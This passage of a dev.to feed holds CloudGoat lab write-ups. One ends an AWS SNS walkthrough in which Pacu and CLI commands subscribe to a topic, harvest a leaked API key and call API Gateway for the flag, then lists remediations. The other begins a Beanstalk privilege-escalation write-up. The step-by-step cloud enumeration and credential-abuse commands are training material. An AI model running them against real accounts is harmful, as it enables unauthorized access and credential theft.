      &lt;/span&gt;&lt;span class="nl"&gt;"us-east-1"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"arn:aws:sns:us-east-1:7912********:public-topic-cgid38umo4q95r"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"Owner"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"7912********"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"SubscriptionsConfirmed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="nl"&gt;"SubscriptionsPending"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Found: &lt;code&gt;arn:aws:sns:us-east-1:7912********:public-topic-cgid38umo4q95r&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  🔔 Phase 4: Subscribe to SNS Topic
&lt;/h2&gt;
&lt;h4&gt;
  
  
  Subscribe with Email
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run sns__subscribe &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--topics&lt;/span&gt; arn:aws:sns:us-east-1:7912&lt;span class="k"&gt;********&lt;/span&gt;:public-topic-cgid38umo4q95r &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--email&lt;/span&gt; my-email@example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;After confirming the subscription, the SNS topic publishes a message containing the &lt;strong&gt;leaked API key&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;API Key: 45a3da610dc64703b10e273a4db135bf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🌐 Phase 5: API Gateway Enumeration
&lt;/h2&gt;

&lt;h4&gt;
  
  
  List REST APIs
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws apigateway get-rest-apis &lt;span class="nt"&gt;--profile&lt;/span&gt; sns_secrets &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"items"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"gfal9z7rki"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cg-api-cgid38umo4q95r"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"API for demonstrating leaked API key scenario"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Get Stages
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws apigateway get-stages &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--rest-api-id&lt;/span&gt; gfal9z7rki &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--profile&lt;/span&gt; sns_secrets &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"item"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"stageName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"prod-cgid38umo4q95r"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Get Resources
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws apigateway get-resources &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--rest-api-id&lt;/span&gt; gfal9z7rki &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--profile&lt;/span&gt; sns_secrets &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"items"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1wq00q"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"pathPart"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"user-data"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"path"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/user-data"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"resourceMethods"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"GET"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"n20xrta7ec"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"path"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Construct API URL
&lt;/h4&gt;

&lt;p&gt;API Gateway URL format: &lt;code&gt;https://{api-id}.execute-api.{region}.amazonaws.com/{stage}{resource-path}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Endpoint: &lt;code&gt;https://gfal9z7rki.execute-api.us-east-1.amazonaws.com/prod-cgid38umo4q95r/user-data&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🚩 Phase 6: Capture the Flag
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Call Protected Endpoint
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; GET &lt;span class="se"&gt;\&lt;/span&gt;
  https://gfal9z7rki.execute-api.us-east-1.amazonaws.com/prod-cgid38umo4q95r/user-data &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"x-api-key: 45a3da610dc64703b10e273a4db135bf"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"final_flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"FLAG{SNS_S3cr3ts_ar3_FUN}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Access granted"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"user_data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SuperAdmin@notarealemail.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"p@ssw0rd123"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"user_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1337"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SuperAdmin"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  📐 Attack Chain Diagram
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────┐
│     SNS User        │
│  (sns_secrets)      │
└──────────┬──────────┘
           │ iam__enum_permissions
           ▼
┌─────────────────────┐
│  Discovered Perms   │
│  - SNS: subscribe   │
│  - API GW: get      │
└──────────┬──────────┘
           │ sns__enum
           ▼
┌─────────────────────┐
│   SNS Topic Found   │
│  public-topic-*     │
└──────────┬──────────┘
           │ sns__subscribe (email)
           ▼
┌─────────────────────┐
│  Leaked API Key     │
│  via SNS message    │
└──────────┬──────────┘
           │ apigateway:get
           ▼
┌─────────────────────┐
│  API GW Enumerated  │
│  /user-data GET     │
└──────────┬──────────┘
           │ curl with x-api-key
           ▼
┌─────────────────────┐
│       FLAG          │
└─────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🚨 Vulnerabilities Exploited
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;CWE&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Sensitive data exposed via SNS topic subscription&lt;/td&gt;
&lt;td&gt;CWE-200&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;API key leaked through notification service&lt;/td&gt;
&lt;td&gt;CWE-522&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Overly permissive SNS subscription policy&lt;/td&gt;
&lt;td&gt;CWE-732&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  💡 Remediation
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Never publish secrets via SNS&lt;/strong&gt; - API keys, credentials, and sensitive data should never be distributed through notification services&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Restrict SNS subscription permissions&lt;/strong&gt; - Limit who can subscribe to topics:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Deny"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="nl"&gt;"Principal"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sns:Subscribe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:sns:*:*:*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="nl"&gt;"Condition"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
       &lt;/span&gt;&lt;span class="nl"&gt;"StringNotEquals"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
         &lt;/span&gt;&lt;span class="nl"&gt;"aws:PrincipalAccount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"YOUR_ACCOUNT_ID"&lt;/span&gt;&lt;span class="w"&gt;
       &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
     &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Use AWS Secrets Manager for API keys&lt;/strong&gt; - Rotate and manage API keys securely&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enable SNS topic encryption&lt;/strong&gt; - Use KMS to encrypt messages at rest&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor SNS subscriptions&lt;/strong&gt; - Alert on new subscriptions to sensitive topics&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  🎯 MITRE ATT&amp;amp;CK Mapping
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tactic&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;Cloud Service Discovery&lt;/td&gt;
&lt;td&gt;T1526&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Collection&lt;/td&gt;
&lt;td&gt;Data from Cloud Storage&lt;/td&gt;
&lt;td&gt;T1530&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Access&lt;/td&gt;
&lt;td&gt;Unsecured Credentials&lt;/td&gt;
&lt;td&gt;T1552&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;Valid Accounts: Cloud Accounts&lt;/td&gt;
&lt;td&gt;T1078.004&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  🛠️ Commands Reference
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# IAM Enumeration (Pacu)&lt;/span&gt;
import_keys &amp;lt;profile&amp;gt;
run iam__enum_permissions
&lt;span class="nb"&gt;whoami&lt;/span&gt;

&lt;span class="c"&gt;# SNS Enumeration (Pacu)&lt;/span&gt;
run sns__enum &lt;span class="nt"&gt;--regions&lt;/span&gt; us-east-1
data

&lt;span class="c"&gt;# SNS Subscribe (Pacu)&lt;/span&gt;
run sns__subscribe &lt;span class="nt"&gt;--topics&lt;/span&gt; &amp;lt;topic-arn&amp;gt; &lt;span class="nt"&gt;--email&lt;/span&gt; &amp;lt;email&amp;gt;

&lt;span class="c"&gt;# API Gateway Enumeration (AWS CLI)&lt;/span&gt;
aws apigateway get-rest-apis &lt;span class="nt"&gt;--profile&lt;/span&gt; &amp;lt;profile&amp;gt; &lt;span class="nt"&gt;--region&lt;/span&gt; &amp;lt;region&amp;gt;
aws apigateway get-stages &lt;span class="nt"&gt;--rest-api-id&lt;/span&gt; &amp;lt;api-id&amp;gt; &lt;span class="nt"&gt;--profile&lt;/span&gt; &amp;lt;profile&amp;gt; &lt;span class="nt"&gt;--region&lt;/span&gt; &amp;lt;region&amp;gt;
aws apigateway get-resources &lt;span class="nt"&gt;--rest-api-id&lt;/span&gt; &amp;lt;api-id&amp;gt; &lt;span class="nt"&gt;--profile&lt;/span&gt; &amp;lt;profile&amp;gt; &lt;span class="nt"&gt;--region&lt;/span&gt; &amp;lt;region&amp;gt;

&lt;span class="c"&gt;# Call API Gateway with API Key&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; GET &amp;lt;api-url&amp;gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"x-api-key: &amp;lt;api-key&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also read this post on &lt;a href="https://arcade-lab.io/blog/12" rel="noopener noreferrer"&gt;my portfolio page&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>hacking</category>
      <category>writeup</category>
      <category>cloudgoat</category>
      <category>aws</category>
    </item>
    <item>
      <title>🥷 CloudGoat: Beanstalk Secrets (Pacu): Write-up: From low-privilege user to admin (Pacu approach)</title>
      <dc:creator>denesbeck</dc:creator>
      <pubDate>Mon, 16 Mar 2026 10:04:25 +0000</pubDate>
      <link>https://dev.to/denesbeck/cloudgoat-beanstalk-secrets-pacu-write-up-from-low-privilege-user-to-admin-pacu-approach-lib</link>
      <guid>https://dev.to/denesbeck/cloudgoat-beanstalk-secrets-pacu-write-up-from-low-privilege-user-to-admin-pacu-approach-lib</guid>
      <description>&lt;h1&gt;
  
  
  🥷 CloudGoat: Beanstalk Secrets (Pacu)
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Write-up: From low-privilege user to admin (Pacu approach)&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🧭 Overview
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; &lt;code&gt;beanstalk_secrets&lt;/code&gt; \&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; &lt;a href="https://github.com/RhinoSecurityLabs/cloudgoat" rel="noopener noreferrer"&gt;CloudGoat (Rhino Security Labs)&lt;/a&gt; \&lt;br&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; &lt;a href="https://github.com/RhinoSecurityLabs/pacu" rel="noopener noreferrer"&gt;Pacu&lt;/a&gt; - AWS Exploitation Framework \&lt;br&gt;
&lt;strong&gt;Objective:&lt;/strong&gt; Extract secrets from Elastic Beanstalk, escalate to admin, and retrieve the flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  ⚔️ Attack Path Summary
&lt;/h2&gt;

&lt;p&gt;Low-Priv User → Beanstalk Enum → Secondary Creds → IAM Enum → Privesc Scan → CreateAccessKey → Admin → Flag&lt;/p&gt;

&lt;h2&gt;
  
  
  🔑 Phase 1: Initial Access
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Configure Low-Privilege Profile
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws configure &lt;span class="nt"&gt;--profile&lt;/span&gt; ebs-1
&lt;span class="c"&gt;# Access Key: AKIA****************&lt;/span&gt;
&lt;span class="c"&gt;# Secret Key: L2kgjSenMDGZyJeiySZW********************&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Launch Pacu and Import Keys
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pacu
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; import_keys ebs-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Validate Session
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"AccessKeyId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AKIA****************"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"SecretAccessKey"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"L2kgjSenMDGZyJeiySZW********************"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"KeyAlias"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"imported-ebs-1"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🔎 Phase 2: Elastic Beanstalk Enumeration
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Discover Available Modules
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;ls
&lt;/span&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; search beanstalk
Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;help &lt;/span&gt;elasticbeanstalk__enum
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Run Enumeration
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run elasticbeanstalk__enum &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
